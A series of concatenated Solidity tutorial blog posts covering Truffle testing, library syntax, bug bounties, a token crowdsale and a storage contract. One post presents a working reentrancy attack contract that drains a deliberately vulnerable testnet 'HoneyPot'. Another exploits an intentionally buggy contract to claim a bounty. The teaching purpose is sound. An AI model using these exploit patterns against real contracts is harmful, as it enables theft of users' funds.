In my previous blog post I wrote about testing smart contracts with JavaScript. In this one, I would like to show techniques I picked along the way that makes tests more readable and elegant.

For this, I am going to use the code created in Testing Your Smart Contract With JavaScript as reference. Please read that blog post first.

Carrying On Where We Left Off

To beautify out test code, let’s use some handy libraries. Please go ahead and install these:

npm install --only=dev --save chai
npm install --only=dev --save chai-as-promised
npm install --only=dev --save chai-bignumber

We are adding these chai libraries to extend chai with elegant code syntax in our tests.

Go to the/test folder and create a helpers.js file. Add the following code to this file:

const BigNumber = web3.BigNumber

const should = require('chai')
    .use(require('chai-as-promised'))
    .use(require('chai-bignumber')(BigNumber))
    .should()

const EVMThrow = 'invalid opcode'

module.exports = { should, EVMThrow }

That’s it.

Applying in our tests

Let’s modify our first test with the new syntax so we have an idea. Here is the modification on the first test.

fundRaise.js

const FundRaise = artifacts.require('./FundRaise.sol')
const { should } = require('./helpers')

contract('FundRaise', function ([owner, donor]) {

...

    it('has an owner', async function () {
        const fundRaiseOwner = await fundRaise.owner()

        fundRaiseOwner.should.be.equal(owner)
    })

...

First we require should from the helpers.js file as such:

const { should } = require('./helpers')

Then we change the first test by removing the assert syntax to the more readable should one.

it('has an owner', async function () {
        const fundRaiseOwner = await fundRaise.owner()

        fundRaiseOwner.should.be.equal(owner)
})

Here we see that the pattern becomes variable + .should + .be+ equal + (expectation). You are able to find the whole range of api that should provides here.

This is what it looks like when applying this syntax to the rest of the tests withinfundRaise.js .

I am curious to see what kind of elegant solution you have/ come up with testing your smart contracts with JS.

The code for this blog post is found here https://github.com/gustavoguimaraes/smart-contract-testing-javascript-example-/tree/feature/beautifying-tests

Smart contract developers strive to mitigate bugs in their code as they can be literally costly. For this end, one of the techniques we use is to write tests extensively or dare I say obsessively to the codebase.

In this post I will show you how to start testing your smart contracts from the get go.

First off, these are the dependencies I used to create this tutorial. If you come across an error, you can try installing and using these versions.

- node@8.5.0
- truffle@^4.0.0
- ethereumjs-testrpc@^4.0.1

With the dependencies out of the way, let’s set up the project.

mkdir smart-contract-test-example && cd "$_" && truffle init webpack

The snippet above creates a directory, changes into it and initializes Truffle with webpack.

Now create the test file for the FundRaise smart contract we’ll build.

touch test/fundRaise.js

Open the file in your favorite text editor and add the most basic test structure.

const FundRaise = artifacts.require('./FundRaise.sol')

contract('FundRaise', function () {

})

They first line fetches the contract artifacts. It is the contract abstraction containing its primary information i.e. its ABI, address and the like.

Then we create the function contract() which is similar to the describe() function in Mocha, except that Truffle adds some features such as making sure the contracts are deployed before running the tests. By the way, Truffle uses the Mocha testing framework as well as Chai assertion library under the hood.

Now let’s run this barebones test.

First:

testrpc

Then open a new command line window and type

truffle test test/fundRaise.js

The outcome is:

Error: Could not find artifacts for ./FundRaise.sol from any sources
    at Resolver.require (/usr/local/lib/node_modules/truffle/build/cli.bundled.js:49072:9)
    at TestResolver.require (/usr/local/lib/node_modules/truffle/build/cli.bundled.js:89733:30)
...

This is because we haven’t coded up the FundRaise smart contract just yet. Let’s fix this.

touch contracts/FundRaise.sol

Then add the code

pragma solidity ^0.4.17;

contract FundRaise {

}

Run the test again:

 0 passing (1ms)

Right. No tests written yet.

Smart Contract Specification and Adding Tests

The FundRaise smart contract will be a simple contract. Its straightforward specification is:

• it has an owner
• it accepts funds
• it is able to pause and un-pause the fundraising activity
• contract owner is able to remove funds from the contract to herself at any time.

Let’s start with the first specification — the contract has a owner

const FundRaise = artifacts.require('./FundRaise.sol')

contract('FundRaise', function ([owner]) {
    let fundRaise

    beforeEach('setup contract for each test', async function () {
        fundRaise = await FundRaise.new(owner)
    })

    it('has an owner', async function () {
        assert.equal(await fundRaise.owner(), owner)
    })
})

In the test code above we accomplish a few things.

1- fancy ES2015 destructuring variable assignment in function([owner] the first parameter given to the contract function is an array with the accounts coming from testrpc. We are taking the first one and assigning it the variable owner .

2- create the fundRaise variable

3- have a beforeEach function which will run before each test creating a new instance of fundRaise each time. Note the use of async/await for promises. This allows for more readable test code. If you want to read up more on the new JavaScript async/await features, this is a good blog post on it.

4- create the first test within the it() function block. Here we are asserting that the fundRaise.owner() is the owner that we passed to when creating the contract.

Before running the tests once more, head over to truffle.js and require babel-polyfill as we need it to use async/await.

truffle.js

// Allows us to use ES6 in our migrations and tests.
require('babel-register')
require('babel-polyfill')

module.exports = {
  networks: {
    development: {
      host: 'localhost',
      port: 8545,
      network_id: '*' // Match any network id
    }
  }
}

Run the tests again and you will find this error:

...
1 failing

1) Contract: FundRaise has an owner:
     AssertionError: expected undefined to equal '0x676c48fb3979cf2e47300e8ce80a99087589650d'
...

Now it is time to write the code that will make the first test pass. Let’s flesh out our smart contract a bit.

pragma solidity ^0.4.17;

contract FundRaise {
    address public owner;

    // @dev constructor function. Sets contract owner 
    function FundRaise() {
        owner = msg.sender;
    }
}

Trigger the test again, i.e.truffle test test/fundRaise.js :

Contract: FundRaise
    ✓ has an owner (41ms)

1 passing (138ms)

Great! Let’s move on and add the next one.

const FundRaise = artifacts.require('./FundRaise.sol')

  contract('FundRaise', function ([owner, donor]) {
    let fundRaise

    beforeEach('setup contract for each test', async function () {
      fundRaise = await FundRaise.new(owner)
    })

    it('has an owner', async function () {
      assert.equal(await fundRaise.owner(), owner)
    })

    it('is able to accept funds', async function () {
      await fundRaise.sendTransaction({ value: 1e+18, from: donor })

      const fundRaiseAddress = await fundRaise.address
      assert.equal(web3.eth.getBalance(fundRaiseAddress).toNumber(), 1e+18)
    })
})

The error this time is:

1 failing

1) Contract: FundRaise is able to accept funds:
     Error: VM Exception while processing transaction: invalid opcode

Right, we need to let our contract receive Ether. Let’s fix that.

pragma solidity ^0.4.17;

contract FundRaise {
    address public owner;

// @dev constructor function. Sets contract owner 
    function FundRaise() {
        owner = msg.sender;
    }
    
    // fallback function that allows contract to accept ETH 
    function () payable {}

}

And the result is:

Contract: FundRaise
    ✓ has an owner (38ms)
    ✓ is able to accept funds (234ms)

2 passing (473ms)

Beautiful. This is the process one goes through systematically to cover the smart contracts with test written in JavaScript. Just keep doing this process until all smart contract specifications are met.

For simplicity sake, I am going to fast forward the process and add the complete set of tests for the FundRaise contract so you have an idea how it would look like in the end.

and here is the full code for the smart contract:

Run the tests one last time…

Contract: FundRaise
    ✓ has an owner (46ms)
    ✓ accepts funds (193ms)
    ✓ is able to pause and unpause fund activity (436ms)
    ✓ permits owner to remove funds (653ms)

4 passing (2s)

Marvelous!

Hope you learned a thing or two about testing smart contracts with JavaScript and its use in blockchain development. Now carry on and keep testing the heck out of your smart contracts.

The code for this blog post can be found here: https://github.com/gustavoguimaraes/smart-contract-testing-javascript-example-

using is used for including a library within a contract in solidity. Check this following example:

pragma solidity ^0.4.15;

library SomeLibrary  {

 function add(uint self, uint b) returns (uint) {
   return self+b;
 }
}

contract SomeContract {
    
    using SomeLibrary for uint;
    
    function add3(uint number) returns (uint) {
        return number.add(3);    
    }
}

The code using SomeLibrary for uint; allows us in this example to use return number.add(3); inside the function add3 . It is basically syntactic sugar for the following:

pragma solidity ^0.4.15;

library SomeLibrary  {

function add(uint self, uint b) returns (uint) {
   return self+b;
 }
}

contract SomeContract {
    
    function add3(uint number) returns (uint) {
        return SomeLibrary.add(number, 3);    
    }
}

As we can see, by adding the keyword using we could give any uint within the SomeContract the libraries functions and pass the uintas the first parameter of that function.

Now let’s look at another example:

pragma solidity ^0.4.15;

library SomeOtherLibrary  {

   function add(uint self, uint b) returns (uint) {
     return self+b;
   }

   function checkCondition(bool value) returns (bool)  {
      return value;
   }

}

contract SomeContract {
    using SomeOtherLibrary for *;

function add3(uint number) returns (uint) {
        return number.add(3);    
    }
    
    function checkForTruthy(bool checker) returns (bool) {
        return checker.checkCondition();    
    }
}

Here the * allows for any type from the SomeOtherLibrary to be accessed in the contract.

Another thing we realized is that this also works for array and struct types but one needs to declare the storage keyword. But this is a topic for another blog post.

Thanks to Lukas Cremer and Gerard Baecker for helping with this blog post.

Get Best Software Deals Directly In Your Inbox

Solidity’s ‘using’ keyword was originally published in Coinmonks on Medium, where people are continuing the conversation by highlighting and responding to this story.

One of my talks was on creating your first smart contract. Here is the recorded live broadcast of the talk.

Unfortunately, it was difficult for web viewers to see the code of this presentation. For this, I am going to leave the code here so you can follow n case you have watched or will watch the video.

Best of all in your learning journey.

I noticed that I hesitated whenever I was about to add either the public or external visibility mark. This came from a place of uncertainty as to which is better to use when exposing the smart contract functions to outside calls. I came across this excellent answer on StackOverflow.

In a nutshell, public and external differs in terms of gas usage. The former use more than the latter when used with large arrays of data. This is due to the fact that Solidity copies arguments to memory on a public function while external read from calldata which is cheaper than memory allocation. I went on to the yellow paper to refresh my memory about call data opcodes.

public functions are called internally and externally. internal calls are executed via jumps in the code because array arguments are passed internally by pointers to memory. When the compiler generates the code for an internal function, that function expects its arguments to be located in memory. That is why public functions are allocated to memory. The optimization that happens with external is that is does not care for the internal calls.

So if you know the function you create only allows for external calls, go for it. It provides performance benefits and you will save on gas.

The effect of having a market cap north of $10 Billion USD is that a growing number of blockchain enthusiasts trust putting their Ether only in smart contracts that have been vouched and fine-combed by security professionals.

Among the emerging best practices, the most recommended are to write extensive unit tests, have the code audited by specialists and set up a bug bounty program. I won’t elaborate on the first two recommendations as they deserve entire blog posts on their own, but in this blog post you will learn about how to setup bug bounty programs for your smart contracts.

The advantage of setting up bug bounty program is that security researchers from all over the world are incentivized to have a go at hacking your smart contract for a period of time. If the smart contract is broken into, the researcher collects Ether and you learn where the vulnerability lies in your code.

Another upside is that the process is able to be fully automated on the Ethereum blockchain and with the Bounty smart contract from the OpenZeppelin library, any blockchain developer is able to set up a bug bounty program within a reasonable amount of time. Let’s see how this is achieved.

First off, let’s bootstrap the project using Truffle.

$ mkdir bug-bounty-example && cd bug-bounty-example && truffle init

Next step is to add the OpenZeppelin library.

$ npm install zeppelin-solidity --save

This adds the zeppelin-solidity folder to node_modules and in it you will find all smart contract templates from the OpenZeppelin library. For this project we only need Bounty.sol , SafeMath.sol , Ownable.sol , PullPayment.sol and Destructible.sol . If you just want to jump to the code, this is the repo where it resides: https://github.com/gustavoguimaraes/bug-bounty .

Moving on.

To set up a bug bounty program we need a smart contract that others will try to break. Let’s code up a smart contract that locks a user’s ether for any amount of time in the future.

$ touch contracts/LockYourEther.sol

And include the following contract:

The LockYourEther contract keeps track of the User in a mapping hash function which has access to a value and releaseDate . A User is able to lockFundsUntil a date in the future when it is able to withdraw the Ether from the contract (and hope that Ether will triple in value by then).

Now onto setting up the bug bounty program. This is the high level procedure:

1. Create a bounty contract that inherits from OpenZeppelin’s Bounty.sol and have a deployContract() function which has to return a new contract address every time. In our case, we will return theLockYourEther contract address.
2. Have LockYourEther inherit from Target contract found in OpenZeppelin’s Bounty.sol . Add another function to LockYourEther called checkInvariant() which checks state variables within the contract. These must betrueat all times. That is to say that you need to check if the contract state remains as intended. Example of implementations of checkIvanriant() could be: checking if the total supply of all tokens equals the number of tokens that handed out on a token crowdsale, whether the timestamp of a variable in the contract is > now and so on and so forth.
3. Deploy the contracts to the blockchain.
4. Set the Bounty reward.

Let’s create the Bounty contract:

Firstly, we override theBounty contract function deployContract function with our own so as to instantiate LockYourEther version for the bounty program for us.

Next, we includecheckInvariant() inLockYourEther and ensure that it derives from theTarget contract found at Bounty.sol.

Here we are checking if the total Ether value from balances must match the state variable totalLockedWei . We know that if these are not equal the contract is not storing the ether or withdrawing as it should.

Now for the deployment:

In migrations/2_deploy_contracts.jsflesh it out with the JavaScript that lets Truffle deploy the contracts:

Run the Truffle command to the desired Ethereum blockchain of your choice: kovan or ropsten which are test nets (For n00bs out there, these are examples of test nets that we can deploy and test our contracts on decentralized environments), or main net for the actual bug bounty program.

Lastly, set the reward for the bounty program.

Using truffle console :

> LockYourEtherBounty.deployed().then(inst => {bounty = inst})

> address = 0xb9f68f96cde3b895cc9f6b14b856081b41cb96f1; // your account address

> bountyAddress = bounty.address

> reward = 20 // reward to pay to a researcher who breaks contract

> bounty.sendTransaction({ from: address, value: web3.toWei(reward, "ether") })

> bountyValue = web3.eth.getBalance(bountyAddress).toNumber()

> web3.fromWei(bountyValue, 'ether')
'20'

Voilá, the bug bounty program is setup.

I purposely left a bug in the LockYourEther. Are you able to find it and get the bounty reward?

Give it a try, I will give you a few minutes …

If you have found it, great! You got an eye for security breaches in smart contracts (this is a link for you). If you jumped to this section, no worries. The more exposure you get to this, the better it becomes.

So let's find the bug in LockYourEther contract and collect the bounty. For this, we are going to interact with the contract.

From truffle console :

Set ourselves as researchers of this bug bounty program and setup the contract instance we will be hacking:

> researcher = '0xa96c979aa675d8c63d03b53e1f06cfa33c65721e' // the researcher address

> bounty.createTarget({ from: researcher }).then(result => targetContractAddress = result.logs[0].args.createdAddress)

> LockYourEther.deployed().then(inst => abi = inst.abi)

> contract = web3.eth.contract(abi)

> lockedAddressInstance = contract.at(targetContractAddress)

Then, interact with the target contract.

> theFuture = 1537401600 // 09/20/2018 @ 12:00am (UTC)

> etherToLock = 3

> lockedAddressInstance.lockFundsUntil.sendTransaction(theFuture, { from: researcher, value: web3.toWei(etherToLock, "ether"), gas: 1000000 })

Check if all is okay with the contract:

> lockedAddressInstance.checkInvariant.call()
true

So far, so good. Let’s send it some more Ether with the same researcher address:

> etherToLock = 6

> lockedAddressInstance.lockFundsUntil.sendTransaction(theFuture, { from: researcher, value: web3.toWei(etherToLock, "ether"), gas: 1000000 })

Now calling checkingInvariant once more:

> lockedAddressInstance.checkInvariant.call()
false

Ha! We found the bug. The contract permits users to override their data. If you pay attention to the lockFundsUntil() function , line 19, you see that we are only checking if _releadeDate > now . A user could just keep calling this function over and over and modifying its balances value. To fix this bug we would need to create another check such as require(balances[msg.sender].value == 0 so that an address is of balance 0 before locking any funds.

We deserve some Ether. Let’s claim the reward.

> bounty.then(inst => inst.claim(targetContractAddress, { from: researcher }))

> bounty.then(inst => inst.claimed())
true

> web3.eth.getBalance(bountyAddress).toNumber()
20

> bounty.then(inst => inst.withdrawPayments({ from: researcher }))

> web3.eth.getBalance(bountyAddress).toNumber()
0

There we go.

If there happened to have no researcher to breach the contract, the creator of the contract could retrieve the bounty reward as such:

bounty.then(inst => inst.destroy({ from: creatorAddress }))

Wrapping up

We saw here how to setup a bug bounty contract using the OpenZeppelin smart contract library. Traditionally bounty sites are non standardized, and its process is manual and can cause disputes such as who claimed first and whether the claim is legitimate. With smart contracts and the help of the OpenZeppellin library, smart contract owners can post their smart contract (target contract) as well as another contract which checks whether the contract can be hackable or not (invariant contract) with some rewards of Ether if it is hackable. Any security researchers can submit their exploit contract to prove that it can hack the contract. Once the hack is proved, the security researcher can get reward automatically. Or if no bug is found the creator can destroy the bounty contract and recover the invested reward.

The code for the smart contracts can be found at: https://github.com/gustavoguimaraes/bug-bounty

Hope this has helped you understand more about smart contract security.

Thanks for Francisco Giordano, Manuel Aráoz and Demian Brener for reviewing this blog post before publication.

Blockchain applications may impact the way that individuals and organizations interact. For this to happen, we need way more people developing these applications and for this they need to learn about creating smart contracts which are in a way blockchain powered apps.

This blog post is a brief overview of the tools of trade and guidelines to develop blockchain applications.

Smart Contracts

Blockchain software is similar to hardware in the sense that once it is produced it cannot be changed. Imagine getting hold of a defective iPhone. The experience is not pleasant. The same is for smart contracts as once it is deployed it immutable. Deploying smart contracts generally means that you are dealing with the company’s or other people’s money so in order to create a smart contract, you got to make sure it works. And for that we use smart contract tools such as Truffle.

Truffle Framework

It is true that Ethereum development experience and tools are not on par with the reality in other programming languages such as JavaScript or Python. But gradually it is getting there. The Truffle framework is an example of a great tool that help us in our smart contract development needs. It is the swiss army knife of the Ethereum smart contract community and it allows devs for ease of contract deployment on the blockchain as well as unit testing our smart contract code. It is the bedrock tool for our deployment workflow which goes as following:

1. Build tests on Truffle and interact with contract using TestRpc.
2. Create the interface and test.
3. Deploy to testnet.
4. Internally and publicly test the interface on the testnet.
5. Deploy to mainnet as ‘beta’ and test the heck out of it on the mainnet.
6. Deploy to mainnet as production release.

Testing

We have on average a 1:20 ratio of smart contract code to unit testing lines. It is paramount that the smart contract code is well tested. As mentioned earlier, contracts on the blockchain world cannot be changed. Granted that there are upgradeable techniques for contracts but a best practice around it has not been established yet and even if it was here already, you would still want to spend time testing obsessively any contract code of yours. The basic guideline for testing is to not write untested code, ask at least a different engineer to review recently produced code, and not to reinvent the wheel for solutions that are proven and thoroughly tested.

Speaking Things Into Being

This guideline is based around “speaking things into being”, that is to say, not creating things and then describing them later.

This approach has a variety of benefits.

• If we can’t clearly describe something, we probably don’t actually understand what we’re trying to do. This will be reflected in the contract. Exploration and experimentation are encouraged — just not in commits.
• By putting documentation and testing first, we ensure that we always have an up-to-date specification for the system. This helps us stay focused on what we’re doing rather than how we’re doing it. How will always change quickly. What will change as well, but less often.
• By creating a common language together, our mental map of the system will remain more accurate. When changes need to be made, it is easier to see and discuss how concepts relate rather than how cogs of a complex machine relate. Our understanding should drive our structure, not vice versa.

This is the high level vision of the tools and guidelines to create smart contracts.

Godspeed!

To code smart contracts is certainly not a free picnic. A bug introduced in the code costs money and most likely not only your money but also other people’s as well. The reality is that the Ethereum ecosystem is still in its infancy but growing and standards are being defined and redefined by the day so one needs to be always updated and akin to smart contract security best practices.

As a student of smart contract security, I have been on the look out for vulnerabilities in code. It came to my attention this contract deployed to the testnet.

pragma solidity ^0.4.8;

contract HoneyPot {
  mapping (address => uint) public balances;

  function HoneyPot() payable {
    put();
  }

  function put() payable {
    balances[msg.sender] = msg.value;
  }

  function get() {
    if (!msg.sender.call.value(balances[msg.sender])()) {
      throw;
    }
      balances[msg.sender] = 0;
  }

  function() {
    throw;
  }
}

The HoneyPot contract above originally contained 5 ether and was deliberately devised to be hacked. In this blog post, I want to share with you how I attacked this contract and ‘collected’ most of its ether.

The Vulnerable Contract

The purpose of the HoneyPot contract above is to keep a record of balances for each address that put() ether in it. It also allows an address to get() its ether deposited it in it.

Let’s look at the most interesting parts of this contract:

mapping (address => uint) public balances;

The code above maps addresses to a value and stores it in a public variable called balances . It allows to check the HoneyPot balance for an address.

balances[0x675dbd6a9c17E15459eD31ADBc8d071A78B0BF60]

The put() function below is where the storage of the ether value happens in the contract. Note that msg.sender here is the transaction sender’s address.

function put() payable {
    balances[msg.sender] = msg.value;
  }

Nest, we find the function where the exploitable is. The purpose of this function is to let addresses to withdraw the value of ether they have in HoneyPot as balance.

function get() {
    if (!msg.sender.call.value(balances[msg.sender])()) {
      throw;
    }
      balances[msg.sender] = 0;
  }

Where is the exploitable and how can someone attack this you ask? Check again these lines of code :

if (!msg.sender.call.value(balances[msg.sender])()) {
      throw;
}
balances[msg.sender] = 0;

HoneyPot contract sets the value of the address balance to zero only after checking if sending ether to msg.sender goes through.

What if there is an AttackContract that tricks HoneyPot into thinking that it still has ether to withdraw before AttackContract balance is set to zero. This can be done in a recursive manner and the name for this is called reentrancy attack.

Let’s create one.

Here is the full contract code. I will attempt my best to explain its parts.

pragma solidity ^0.4.8;

import "./HoneyPot.sol";

contract HoneyPotCollect {
  HoneyPot public honeypot;

  function HoneyPotCollect (address _honeypot) {
    honeypot = HoneyPot(_honeypot);
  }

  function kill () {
    suicide(msg.sender);
  }

  function collect() payable {
    honeypot.put.value(msg.value)();
    honeypot.get();
  }

  function () payable {
    if (honeypot.balance >= msg.value) {
      honeypot.get();
    }
  }
}

The first few lines is basically assigning the solidity compiler to use with the contract. Then we import the HoneyPot contract which I put in a separate file. Note that HoneyPot is referenced throughout the HoneyPotCollect contract. And we set up the contract base which we call it HoneyPotCollect .

pragma solidity ^0.4.8;

import "./HoneyPot.sol";

contract HoneyPotCollect {
  HoneyPot public honeypot;
...
}

Then we define the constructor function. This is the function that is called when HoneyPotCollect is created. Note that we pass an address to this function. This address will be the HoneyPot contract address.

function HoneyPotCollect (address _honeypot) {
    honeypot = HoneyPot(_honeypot);
}

Next function is the kill function. I want to withdraw ether from the HoneyPot contract to the HoneyPotCollect contract. However I want also to get the collected ether to an address I own. So I add a mechanism to destroy the HoneyPotCollect and send all ether containing in it to the address that calls the kill function.

function kill () {
  suicide(msg.sender);
}

The following function is the one that will set the reentrancy attack in motion. It puts some ether in HoneyPot and right after it, it gets it.

function collect() payable {
    honeypot.put.value(msg.value)();
    honeypot.get();
  }

The payable term here tells the Ethereum Virtual Machine that it permits to receive ether. Invoke this function with also some ether.

The last function is what is known as the fallback function. This unnamed function is called whenever the HoneyPotCollect contract receives ether.

function () payable {
    if (honeypot.balance >= msg.value) {
      honeypot.get();
    }
  }

This is where the reentrancy attack occur. Let’s see how.

The Attack

After deploying HoneyPotCollect, call collect() and sending with it some ether.

HoneyPot get() function sends ether to the address that called it only if this contract has any ether as balance. When HoneyPot sends ether to HoneyPotCollect the fallback function is triggered. If the HoneyPot balance is more than the value that it was sent to, the fallback function calls get() function once again and the cycle repeats.

Recall that within the get()function the code that sets the balance to zero comes only after sending the transaction. This tricks the HoneyPot contract into sending money to the HoneyPotCollect address over and over and over until HoneyPot is depleted of almost all its ether.

Try it yourself. I left 1 test ether in this contract so others could try it themselves. If you see no ether left there, then it is because someone already attacked it before you.

I originally created this code for the HoneyPotAttackusing the Truffle framework. Here is the code in case you need it for reference. Enjoy!

I have tested this blog post with the following dependencies:

- node@10.11.0
- truffle@v4.1.14
- ganache-cli@v6.1.8
- zeppelin-solidity@2.0.0

Token contracts are hot. Token crowd sales aka Initial Coin Offers(ICO) are hotter. There have been a lot going in terms of ICOs lately in the crypto world and if you would like to code one yourself, look no further. In this blog post I am going to go through the steps to create your own and only token as well as the ICO contract for it. We will also use the help of some clever tools.

Caveat: You should not actually release your ICO with the code found here. It is for demo purposes only. But it is a good start.

For this tutorial I am going to be using Truffle and Zeppelin Solidity. Truffle is the de facto framework for creating smart contracts and decentralized applications. Zeppelin Solidity is a library that has extensive and well tested smart contracts that adhere to security best practices. In the smart contract world where a small bug can cost you money, it is good not to reinvent the wheel when there are trusted solutions out there.

We will also use ganache-cli as the blockchain node because it is fast and developer friendly.

Side note: If you want to actually create the contract on the Ethereum testnet or main net you would have to use something like Geth or Parity.

Moving on: provided that you have npm and node installed, from terminal type the commands:

$ npm install -g ganache-cli
$ npm install -g truffle
$ mkdir my-ico && cd my-ico
$ truffle init
$ npm install openzeppelin-solidity@2.0.0

A lot of magic happened with those commands above. But in essence it is the setup that will get you up and running with creating and deploying your ICO smart contract.

This adds the openzeppelin-solidity folder to node_modules and in it you will find all smart contract templates from the OpenZeppelin Solidity library.

First step is to create the token contract.

touch contracts/GustavoCoin.sol

And for the code:

That is a straightforward token contract. We practically let Zeppelin Solidity smart contract templates do all the heavy duty for us. Here we reference MintableToken . The idea is to have a token where the supply is controlled by an owner who can emit tokens and assign them. For a better look at what this contract does, check it at node_modules/zeppelin-solidity/contracts/token/ERC20/MintableToken.sol .

The following step is to create the Crowdsale contract.

touch contracts/GustavoCoinCrowdsale.sol

We are basically going to inherit the contract at node_modules/zeppelin-solidity/contracts/crowdsale/emission/MintedCrowdsale.sol and node_modules/zeppelin-solidity/contracts/crowdsale/validation/TimedCrowdsale.sol. We end up with only the code below.

Beautiful, huh? We are using the secure contracts provided by Zeppelin Solidity to our advantage. Note that GustavoCoinCrowdsale inherits from TimedCrowdsale and MintedCrowdsale. In order to deploy GustavoCoinCrowdsale , we must give a few parameters to its constructor function as per the Crowdsale and TimeCrowdsale contracts, i.e. openingTime and closingTime timestamps, the rate of token per ether rate, the token address itself and the wallet address of the contract owner(s).

Let’s deploy this contract. Open a new terminal tab and run

$ ganache-cli

It will run ganache-cli. We are using it for our development needs.

First, let’s add this to truffle.js file. It is for configuration purposes:

truffle.js:
module.exports = {
    networks: {
        development: {
            host: "localhost",
            port: 8545,
            network_id: "*" // Match any network id
        }
    }
};

Then, go on (you may need to create it) to the file migrations/2_deploy_contracts.js and modify it to this:

Note that we are not deploying GustavoCoin . This is because once GustavoCoinCrowdsale deploys it will create GustavoCoin . Now back to the terminal tab where you installed Truffle, run the commands:

$ truffle compile
$ truffle migrate

If you happen to look at the ganache-cli tab you will see that the contract was deployed successfully.

Alright, let’s buy some GUS tokens.

Run $ truffle console

This will open truffle console and we are going to use the web3.js API to interact with the deployed contract.

// The account that will buy GUS tokens. It will show differently in your ganache-cli console

> purchaser = web3.eth.accounts[2]
'0xddac5d057c79facd674bc95dfd9104076fd34d6b'

// The address of the GUS token instance that was created when the crowdsale contract was deployed
// assign the result of GustavoCoinCrowdsale.deployed() to the variable crowdsale
> GustavoCoinCrowdsale.deployed().then(inst => { crowdsale = inst })
undefined

> crowdsale.token().then(addr => { tokenAddress = addr } )
undefined

> tokenAddress
'0x87a784686ef69304ac0cb1fcb845e03c82f4ce16'

> gustavoCoinInstance = GustavoCoin.at(tokenAddress)
...

// add minter role to crowdsale so it is able to mint tokens during crowdsale
> gustavoCoinInstance.addMinter(crowdsale.address)
...

// now check the number of GUS tokens purchaser has. It should be 0

> gustavoCoinInstance.balanceOf(purchaser).then(balance => balance.toString(10))
'0'

// Buying GUS tokens

> GustavoCoinCrowdsale.deployed().then(inst => inst.sendTransaction({ from: purchaser, value: web3.toWei(5, "ether")}))
{ tx: '0x68aa48e1f0d0248835378caa1e5b2051be35a5ff1ded82878683e6072c0a0cfc',
  receipt:
   { transactionHash: '0x68aa48e1f0d0248835378caa1e5b2051be35a5ff1ded82878683e6072c0a0cfc',
     transactionIndex: 0,
     blockHash: '0xb48ceed99cf6ddd4f081a99474113c4c16ecf61f76625a6559f1686698ee7d57',
     blockNumber: 5,
     gasUsed: 68738,
     cumulativeGasUsed: 68738,
     contractAddress: null,
     logs: [] },
  logs: [] }
undefined

// Check the amount of GUS tokens for purchaser again. It should have some now.

> gustavoCoinInstance.balanceOf(purchaser).then(balance => purchaserGusTokenBalance = balance.toString(10))
'5000000000000000000000'

// When we created our token we made it with 18 decimals, which the same as what ether has. That's a lot of zeros, let's display without the decimals:

> web3.fromWei(purchaserGusTokenBalance, "ether")
'5000'

Yay! It worked.

Where to go after here you ask?

You could test this code on the Ethereum testnet, or you could create a web app that would allow users to interact with the CrowdsaleToken contract, you could add more functionality to the contract itself such as deadline, token cap, etc. Unleash your inner token creator.

The Ethereum community grows by the day and though there are not many tools out there yet, the ones such as Truffle and Zeppelin Solidity do a great job at improving developer’s experience.

I am curious to know what you will be coding from here.

By the way, here is the repo containing the code for this blog post.

I want to leave my gratitude for Francisco Giordano for reviewing the code used in this blog post.

Let’s start by installing truffle

$ npm install -g truffle

Ensure that it is installed

$ truffle
Truffle v3.2.1 - a development framework for Ethereum

Usage: truffle <command> [options]

Commands:
  init      Initialize new Ethereum project with example contracts and tests
...

Then create the project

$ mkdir storage_smart_contract_example
$ cd storage_smart_contract_example
$ truffle init

You will see that truffle created the file structure to us. Go to the contracts folder and create Storage.sol file and then write the code for the smart contract in it.

pragma solidity ^0.4.8;

contract Storage {
  uint256 storedData;

function set(uint256 data) {
    storedData = data;
  }

function get() constant returns (uint256) {
    return storedData;
  }
}

Now go to the migrations/2_deploy_contracts.js and modify it to look like as follows:

var Storage = artifacts.require("./Storage.sol");

module.exports = function(deployer) {
  deployer.deploy(Storage);
};

Now that we got the basic set up on we need to deploy it to a blockchain. On my previous post I ran my own private network which information on how to do it is found here. For simplistic sake, let’s use testrpc which does the job well for testing development purposes.

On a separate tab, type these commands

$ npm install -g ethereumjs-testrpc

$ testrpc

EthereumJS TestRPC v3.0.3

Available Accounts
==================
...

Then back on the tab where you have the Truffle project run

$ truffle compile
$ truffle migrate

Aaaand the contract is deployed.

Let’s check if we are able to call the contract functions.

$ truffle console

truffle(development)> Storage.deployed().then(instance => instance.get.call()).then(result => storeData = result)

{ [String: '0'] s: 1, e: 0, c: [ 0 ] }

truffle(development)> storeData.toString()
'0'

Alright, let’s see now we if can set storeData to be value 42.

truffle(development)> Storage.deployed().then(instance => instance.set.sendTransaction(42)).then(result => newStorageData = result)
'0xc5e2f9c9da4cf9f563c8e59073d5b6ca9458f112a6dcfc14aaea7c16a99422d4'

truffle(development)> Storage.deployed().then(instance => instance.get.call()).then(result => storeData = result)
{ [String: '42'] s: 1, e: 1, c: [ 42 ] }
truffle(development)> storeData.toString()
'42'

That it is.

I wrote the code for this blog post in this github repo for reference: https://github.com/gustavoguimaraes/storage_contract_example